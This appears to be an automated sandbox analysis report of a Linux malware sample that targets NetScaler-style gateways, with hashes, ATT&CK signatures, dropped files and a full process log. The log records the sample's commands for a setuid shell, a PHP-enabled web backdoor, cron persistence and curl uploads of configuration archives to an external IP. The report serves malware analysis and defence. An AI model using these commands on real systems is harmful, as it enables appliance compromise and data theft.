b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b

Analysis

max time kernel
21s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03/10/2026, 16:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
Size 25KB
Sample261003-vcmcvaec83
SHA256 b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
MD5 df2f93ccc44711e299748af2bca30c8c
SHA1 fbcfb4a1578b8979e0330c280215966f6057c92e
SHA512 d11e60672df96a1857181130ff78c6c5c6c96ca66067025ac1f12aaeaa33c52d345af3be03d162061719238470e24abda4c71a0f79c2d5ddc4ab2d18a72cd51e
SSDEEP 768:hFxadn2345FPWdWmS1nwuxli8o7TUILRinUKtXgZC17:5Q2I5FPWdPSNwuxli8o80RinhXgZ07
TLSH
T165C2EAC17C6E5DB183D7C47CEB9AD44177675447140A2464B8BCA3BCAF68434E2F2AE8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.nOSYkl	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 3 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
1545	sh
1541	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/26/status	pkill
File opened for reading	/proc/566/status	pkill
File opened for reading	/proc/917/status	pkill
File opened for reading	/proc/978/cmdline	pkill
File opened for reading	/proc/405/cmdline	pkill
File opened for reading	/proc/554/cmdline	ps
File opened for reading	/proc/1475/status	ps
File opened for reading	/proc/1036/cmdline	pkill
File opened for reading	/proc/30/cmdline	ps
File opened for reading	/proc/1315/cmdline	ps
File opened for reading	/proc/1338/cmdline	ps
File opened for reading	/proc/1074/status	pkill
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/412/status	pkill
File opened for reading	/proc/1165/cmdline	pkill
File opened for reading	/proc/406/status	pkill
File opened for reading	/proc/406/status	pkill
File opened for reading	/proc/1055/status	pkill
File opened for reading	/proc/26/stat	ps
File opened for reading	/proc/270/status	ps
File opened for reading	/proc/tty/drivers	ps
File opened for reading	/proc/1476/status	ps
File opened for reading	/proc/270/cmdline	pkill
File opened for reading	/proc/1315/status	pkill
File opened for reading	/proc/25/cmdline	pkill
File opened for reading	/proc/917/status	ps
File opened for reading	/proc/960/stat	ps
File opened for reading	/proc/1022/stat	ps
File opened for reading	/proc/1035/cmdline	ps
File opened for reading	/proc/1331/status	ps
File opened for reading	/proc/490/cmdline	pkill
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/160/cmdline	pkill
File opened for reading	/proc/967/status	ps
File opened for reading	/proc/950/cmdline	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/566/status	pkill
File opened for reading	/proc/1331/status	pkill
File opened for reading	/proc/meminfo	ps
File opened for reading	/proc/83/cmdline	pkill
File opened for reading	/proc/166/status	pkill
File opened for reading	/proc/486/status	ps
File opened for reading	/proc/937/cmdline	ps
File opened for reading	/proc/1035/cmdline	pkill
File opened for reading	/proc/sys/kernel/ngroups_max	id
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/175/status	pkill
File opened for reading	/proc/679/status	pkill
File opened for reading	/proc/1315/cmdline	pkill
File opened for reading	/proc/244/stat	ps
File opened for reading	/proc/411/cmdline	ps
File opened for reading	/proc/453/cmdline	ps
File opened for reading	/proc/654/status	ps
File opened for reading	/proc/890/stat	ps
File opened for reading	/proc/912/status	ps
File opened for reading	/proc/1035/stat	ps
File opened for reading	/proc/1444/status	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/974/stat	ps
File opened for reading	/proc/1060/cmdline	ps
File opened for reading	/proc/1203/cmdline	pkill
File opened for reading	/proc/536/cmdline	pkill
File opened for reading	/proc/1066/cmdline	pkill

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1541	sh
1542	gzip
1545	sh
1546	gzip
1525	pkill

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.slap.cron	b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b

/tmp/b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
/tmp/b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
1⤵
- Writes file to tmp directory
PID:1478
- /bin/mkdir
  mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom
  2⤵
  PID:1479
- /bin/cat
  cat
  2⤵
  PID:1481
- /bin/cat
  cat
  2⤵
  PID:1482
- /bin/mkdir
  mkdir -p /var/tmp/.ux
  2⤵
  PID:1483
- /bin/cat
  cat
  2⤵
  PID:1485
- /bin/cat
  cat
  2⤵
  PID:1487
- /bin/cat
  cat
  2⤵
  PID:1489
- /bin/chmod
  chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl
  2⤵
  PID:1491
- /bin/cat
  cat
  2⤵
  PID:1492
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver
  2⤵
  PID:1493
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
  2⤵
  PID:1494
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb
  2⤵
  - Reads runtime system information
  PID:1495
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver
  2⤵
  PID:1496
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver
  2⤵
  PID:1497
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:1498
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:1499
- /bin/chmod
  chmod 6555 /bin/sh
  2⤵
  PID:1500
- /bin/chmod
  chmod 700 /nsconfig/.slap/boot.sh
  2⤵
  PID:1502
- /usr/bin/perl
  perl -ni -e "print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver}" /etc/httpd.conf
  2⤵
  PID:1503
- /bin/grep
  grep -q "Alias /logon/LogonPoint/custom/receiver.v2.min.css" /etc/httpd.conf
  2⤵
  PID:1504
- /bin/cp
  cp /etc/httpd.conf /etc/httpd.conf.slap.bak
  2⤵
  PID:1505
- /bin/cat
  cat
  2⤵
  PID:1506
- /usr/bin/perl
  perl -pi -e "s/php_flag engine off/php_flag engine on/" /etc/httpd.conf
  2⤵
  PID:1507
- /bin/grep
  grep -q "AddType application/x-httpd-php .deb" /etc/httpd.conf
  2⤵
  PID:1509
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:1510
- /bin/grep
  grep -q "[.]slap/agent.pl"
  2⤵
  PID:1512
- /bin/ps
  ps -axww
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1511
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler
  2⤵
  PID:1517
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler
  2⤵
  PID:1518
- /usr/bin/setsid
  /usr/bin/setsid /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:1516
- /bin/perl
  /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:1516
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1519
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron
  2⤵
  PID:1520
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron
  2⤵
  PID:1521
- /usr/bin/crontab
  crontab /tmp/.slap.cron
  2⤵
  - Creates/modifies Cron job
  PID:1522
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/slapshot.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1524
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/whipd.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1525
- /bin/date
  date -u
  2⤵
  PID:1528
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:1527
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:1526
- /usr/bin/id
  id
  2⤵
  - Reads runtime system information
  PID:1529
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:1527
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:1526
- /bin/uname
  uname -a
  2⤵
  PID:1530
- /bin/ls
  ls -l /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /etc/httpd.conf
  2⤵
  PID:1531
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:1532
- /usr/bin/tail
  tail -n 80
  2⤵
  PID:1534
- /bin/grep
  grep -in php /etc/httpd.conf
  2⤵
  PID:1533
- /bin/sed
  sed -n "1395,1425p" /etc/httpd.conf
  2⤵
  PID:1535
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error_log
  2⤵
  PID:1536
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error.log
  2⤵
  PID:1537
- /usr/bin/tail
  tail -n 40 /var/log/ns.log
  2⤵
  PID:1538
- /bin/mkdir
  mkdir -p /var/tmp/.s2loot
  2⤵
  PID:1539
- /bin/tar
  tar czf /var/tmp/.s2loot/nsconfig.tgz .
  2⤵
  PID:1540
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:1541
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:1542
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/274124/loot_nsconfig.tgz
  2⤵
  PID:1543
- /bin/tar
  tar czf /var/tmp/.s2loot/hist.tgz /nsconfig/ns.conf.0 /nsconfig/ns.conf.1 /nsconfig/ns.conf.2 /nsconfig/ns.conf.3 /nsconfig/ns.conf.4 /nsconfig/ns.conf.bak
  2⤵
  PID:1544
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:1545
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:1546
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/274124/loot_nshist.tgz
  2⤵
  PID:1547
- /bin/rm
  rm -rf /var/tmp/.s2loot
  2⤵
  PID:1548
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/274124/loot_httpd.conf
  2⤵
  PID:1549
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/274124/loot_diag.txt
  2⤵
  PID:1550

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

agent.pl

Path /nsconfig/.slap/agent.pl
Size 4KB
SHA256 94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761
MD5 de6f7c87e8f5be485243441ae7ab5bd0
SHA1 7249acf88b30ad5b7bbf3c10299e16780f3d0dac
SHA512 88b9e76e1aac24b7f7806d3b8dbcd8ccda912b0f390b8fee2c18cbe5dd4d6494d579a8e0e0981fdcc1b3c2e31d8374f861d37c077d13ef1a018139e357c7f668
SSDEEP 96:IFWaH88gEe/qnao0AHt2tRqS2kJRCR7jXCtJrC9SAqCGCSeCvCSEx3a32Q:IFW+hD2tRgwt4UADH4K1Ba32Q
TLSH
T10E81CE843DFBAA7684F2D02CEFDAC41171B9849B8509E9A07D7C42BCAF45930D6F52C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

boot.sh

Path /nsconfig/.slap/boot.sh
Size 3KB
SHA256 af7a3af465c95e997e1476b0c2db852b26169d4a5647a445ff46a54a86a75cf8
MD5 14d4a6c791452d159199b9f53b74d98b
SHA1 4c50e3dd1031687052bb49ee8cf44b9b77ea1600
SHA512 5185f30591cf4ec5edd11471f5c7bd5d1b537e123736ee7f3afda53cdcfc7b4034237ba100f9f39cc045034cebb2205184c589a7c0c9589eed4fe1bf0488e1a8
TLSH
T1D47185F3B40E9EF62DD989BCB39D85497BC282691C252965F049B634A4BC248F0B6178
MD5 SHA1 SHA512 TLSH

Submit Download

bridge.pl

Path /nsconfig/.slap/bridge.pl
Size 697B
SHA256 f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad
MD5 bc21f7306742c9e9d2f10a3542463be2
SHA1 237ca70151ef13c42c5bbdc7c553bc561a90db08
SHA512 af47a95a1d6455c62e978ae3b8dc50cb3216968a56039bd2904c2d1cf5e70d055a21af09f187eb5663cd8c02b78b26da08ce3070c098f92390966247aa087d57
TLSH
T1E601FE204CD34B51C0FEA04AF608914792CA843B4EAAB8BE7E50478E9F04374B0F76C0
MD5 SHA1 SHA512 TLSH

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 37B
SHA256 370368e6491d9344962b6a58a771fb24e500f84e9d99379f61969e3068ed5b4b
MD5 d5800c883436ef1f94115dcab532015a
SHA1 a46bf0376f7876ce348c8a0d053762291f08ea33
SHA512 a4bb5355a14d262c50307f77c1806751ae606aff6022af4c515311a6d3f289d72f7110a9bc7c71b1af74f90ccf569dbc168646292761e2c0ad9e11c6c36034af
MD5 SHA1 SHA512

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 71B
SHA256 4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2
MD5 79b9b312be1c2b9d60a03e736eae4c5f
SHA1 09fce7d4b32dcba305a2d07f80a4292e0d4347e5
SHA512 a244df78c6246342d607320f603d85946d0b5e6d8cd723446c2c8638ae42c1ba8132b3d93a24f5923ff9f6cc5b5961885d54e77a1838990b42507efa94d3e9cc
TLSH
T17DA0024A260CEDF3CFCB9AB4D65724AA3F5142843E410521B404F2C4E8201CE7E39004
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 45B
SHA256 0759755783a468f3bc18dcbfde22fdb21bb754aee300137f26ee1aa1893dd3cd
MD5 80bdf2e82a187390554f344fe42b85e5
SHA1 8fce99a4a31526033f92cb5428491d9fdf911946
SHA512 b61ac653dd02118ad48ac80add43744cac3b338aeb7ce3dee36e63ca64380330a909d3dcfaf5a2c628b3ad91efed2e9e7b0988f8b694fee000c753402f5ed580
MD5 SHA1 SHA512

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 89B
SHA256 1a7762fb2dc20ab46e650818ba79e47c9758b02f2b0fcb12a7ed15cebc7e392f
MD5 51981d72e97719cd5b287c7dbb830cfd
SHA1 e093784d86c1d60bbd0b19545644f4156cafca3b
SHA512 bc62e23c068936d26a421d72673a67417dd4edc1a2bc53ff403169ea37b05301cfb761da422b9e9fbb2e6e96ed0117e3c1b61689d3b5d03b4ca3b8f6a03d067d
TLSH
T154B0013A950CADF78A8E5AB8E3A638BE7E1643843E410561745CF2C4E82C38F7A39000
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.receiver

Path /var/netscaler/logon/LogonPoint/custom/.slap.receiver
Size 493B
SHA256 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7
MD5 7279e5629e02ea3fc9392365f1c005c6
SHA1 838103a40d8530ae9a7eaaf3467aa653443b1bd7
SHA512 3040631b49a846d2c65aa11b23b366b3bfc59adbdd612462549dd421a2fdf5309114af5a078bc6b416f82ee2eabea14120da3108d73c65dd8d6c076fad3a6941
TLSH
T1F9F09E0C31E625B1CDBFBC70D75E2C08A1690001151A9A5138C25DCD1DF812D96B68E6
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.nOSYkl

Path /var/spool/cron/crontabs/tmp.nOSYkl
Size 278B
SHA256 1bdde65976f3e21957535cf1ed7f63b5ee14a036b972e540d3dfbe1bfe62515a
MD5 546f08f8f589eaf6b223d3f917aa7655
SHA1 38c857d4b410df172bee8ea1227432cb1f0f4b65
SHA512 beea8050aceebbba18e77877b45f2bf87f739c0ba73d946fc29038bdb165317e8ee434cc246ce8869d898540b25007844971d26df0bedc6cf7dd40470ecd2a37
TLSH
T1B0D02B392A14ADB38E490BB4929B283E6D41D1BC68094E51F08DA054921934F3F70451
MD5 SHA1 SHA512 TLSH

Submit Download

hist.tgz

Path /var/tmp/.s2loot/hist.tgz
Size 45B
SHA256 c8a977bb34f2acf4e83338b21c1a059de12f187189c9ed151b2ef085c30e406b
MD5 84df654a6b8f1317be948f426d56dce7
SHA1 e7c3c289b4636e5a1844c86dbb1823d23d3622ed
SHA512 abfbd7e44b5a445922019ca25c02161e58b7f0dadffa17c5e83009a68b77679a2c87d901ec400c4092e10cf7fcbc8a7f67f6ceb59532f65610d7a0f3085a69e3
MD5 SHA1 SHA512

Submit Download

nsconfig.tgz

Path /var/tmp/.s2loot/nsconfig.tgz
Size 3KB
SHA256 28eeab2e579537be2eee5dce3cb6bc49ce9f125997025e0cb132c80add2fb6e9
MD5 e8d4b677dca129742b7e0b898f6123c8
SHA1 e623e6cff225bc52c2b0dd163533e1c52d622ac3
SHA512 350c78c87c859fdc3c199d35381f1b9c6845868017968c45cf96fd946b020db4df6f1c49625b7f6695dc653ab110c2a60f15209ae66935bf9664f40e95e8929d
TLSH
T1C7617D4B3C6A921441E07C8991649969C9B90EF64A1EF5C34712D3AA04377131FE6FEC
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-agent.log

Path /var/tmp/.slap-agent.log
Size 63B
SHA256 6686e0f601f892bb8f8e47727170eb99045f66623834e5be2cb1984dfe7a88e1
MD5 2139e7e90aa4d9d126e20970e8149fbd
SHA1 ceb75170a5d023fcdabfb170ee52b2c5e83fea2b
SHA512 b0d1e4592a87f22f161b269b00f32eebba8d4ef1400d78d26c1ae9f5293321cb76e9bce56aa641ff69152096fb9234807a700b19882d1806d616003936c1c6ac
TLSH
T18DA0021259D961541A9629915319ECF68717004F2F0E1225E1704304A427A74B6DFAC2
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 54B
SHA256 806ae327f9f3b6da67570bb9fd2b695655bf8a45301c01dee23042b5fa438f72
MD5 8df3c8d8d40d16b17ea80f44d9ac3fde
SHA1 2955f0c54bccc86a5eacf9afaa24a2313e1b86c6
SHA512 4a029dfa65b7e136d27d4896901b57bf9a9f9c15a464fd98516eb7aa2dacf8eb63c58352bb1797f931d7143cfec42b9727b8d434e82bb40b14fb3a402fccab4b
TLSH
T1F59002F151165E25152754C6B9C58C0B022598A9085CA598946583A19A8101B078E101
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 93B
SHA256 386e26643bcbe5e4faf0e45f90edce26e21f25877af3da4b7e0ecd14ad6df5bd
MD5 38909e228f68abcc7662326004932029
SHA1 8b1fa3d0bc693f5ffbcece94025a3b4a079f1f38
SHA512 2b6799f421c0ec6b360ee63ba2418231431d314144272f90535125438453fa43003a67cb5b9396f92b2526e50fdff3a6b01f54ae56a0a60d3e95f48c114e4a7c
TLSH
T10DB012F002215912212380D5F4E04CCB0233DC9406587C44AA94C393854010E138A001
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 225B
SHA256 c40d0e15efa911e2cf2c55ef60f372c215a4eceecd45de548701a6b90370f1b9
MD5 25f7e1d2f3a3fb591c80a68b7ed64314
SHA1 35aba04f8ea49a9f95c76aa801736811ddc67c49
SHA512 e9d45a41811d1c9db0ab4961c359ad7a03901372930d72cdc3f316ffc920f43e19dbd3f313321cc696678635c130376391462cac77db70ba14535a689ea939d0
TLSH
T128D0A7B326311A232747D0C6F0EE5CAF022B84622684FD58766582F6184931F539D445
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 249B
SHA256 2f9bea67a857df28dd56082c630c0e3976e63c6cc3c44b89b1f53b145565e786
MD5 27cedb03913aefdf870e3e5851ff2871
SHA1 0c51315ec893b8c86c830826d4c210f1e770cc93
SHA512 6257f4dbc03f38ad9ca5a8906f56bcf3b24b36c11a09c82f5de2402809abb28fbb864470ade57718c07f37165b18609055200044bdc279d2b63897c9bbe64aac
TLSH
T15CD02BB3353055232747D0C6F0AE5C6F012B84A11544FC48217042E20C4831F239D445
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 860B
SHA256 b2992f0141237b9dbde87711a86e49dbee0b8865f54e377ed06c37a78cb26bc1
MD5 241451a6b048127a7e8d8df0c08e05a0
SHA1 2836600f4550b72f02454dcf525b5b90c4d4e9e3
SHA512 1d0e82958c8b61463a8556a332cd1f0118a918d290f017d079ebb9a2e301dc3d4c9c877d8d61e27af9b9a6476647fd4365b8fed57d5b0ac73efb8fdd14d9e8df
TLSH
T15511E3C7A41956332BD2CDF7F8BE0699006280A54E0DBFA81D9C5115C40228A4F9EA1D
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-httpd-test.log

Path /var/tmp/.slap-httpd-test.log
Size 169B
SHA256 772d9d599c3f42597bdb3c058b63e92b460b003d45a88b7abcf594757b10e411
MD5 64d6cb7cbb3bfbbc05c7479f6696cba4
SHA1 b9b1e3e41948a062085415f08ae8a11fc8cc07ba
SHA512 9991b674557c30d38a1475f8e6ba9de2698da43a4f2decc3f396fa85fd1a3690e760ea3492cf960be9538e3a39bc270ee28a7d51c79342c9bceba7621e1b9e16
TLSH
T153C080EC42400E001C0F35777CF1184D24800755DB01D7911C1844575043230DC8CDDD
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path /var/tmp/.ux/agent.log
Size 56B
SHA256 98a322667eff3ff7a545278044d43c635e0bda3eb6942c394a0926206d809ae5
MD5 f884a70cbaa6f5176789c4fa6a2f095b
SHA1 ecf58d265d69e9dd420776bde98266c1f8a778b8
SHA512 848cefd6d48565cc4213777f284fe79563acc7da85fdb7e2085a803bc3796be263f9093ba1f4241bcd9ab3a95d8990d3113366e2f3ca1733441bd37c9302b766
TLSH
T1C39002271851559D55A18356B22942E7E501F55302542028EA89044140A982A4731014
MD5 SHA1 SHA512 TLSH

Submit Download

slapshot.py

Path /var/tmp/.ux/slapshot.py
Size 7KB
SHA256 be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447
MD5 24f4f949a8df9cb4be3cf8d0cb89eb5d
SHA1 68b56277c3f88b78209fe8dfb4bbeff0b071292d
SHA512 a6ba111301443af786012e1258a77d44239de3bdd997cb8755b5f4cc97ec7236125b2999baa5e4e8f49cd2be4448bff818552db7841b9bd28483976bfd96f61d
SSDEEP 96:M56N8NbBZ2Ok7bsOwFF5r5QYm97WmVUgwyXGoFPWnXAuxuBTFiUbcjHa:wF2345FP3mdWmSgwy9WnXAuxKc3Ha
TLSH
T131F13F86AC645965C397C8965C62E4427727BC07725E1138FAFCC3E42FA887582F1EF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

whipd.py

Path /var/tmp/.ux/whipd.py
Size 4KB
SHA256 dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e
MD5 9753dbf79692d424d30abaf39e776a1e
SHA1 8ee23e2fc68366e9a07d8fd682bdb3539573a44f
SHA512 3a886d2a3671b85979d2afaf214efc94f5c1c4786f8d6dd7b314deb945ae39d871992d45034e8492177f016e5e630a3a37f1efdc5d74d20997261e581b523719
SSDEEP 96:kXai6ZdGd3Tgwy8rnQP71TKml0eK3uVUKigRRGLZq5XFEqhi:q6ZItgwyqQP7AgXK3umKigRRGLZqLEqI
TLSH
T125A18602586959F49343C52698E3F956E73E3917200F24A9397DD3C91F64876C2B2EFC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads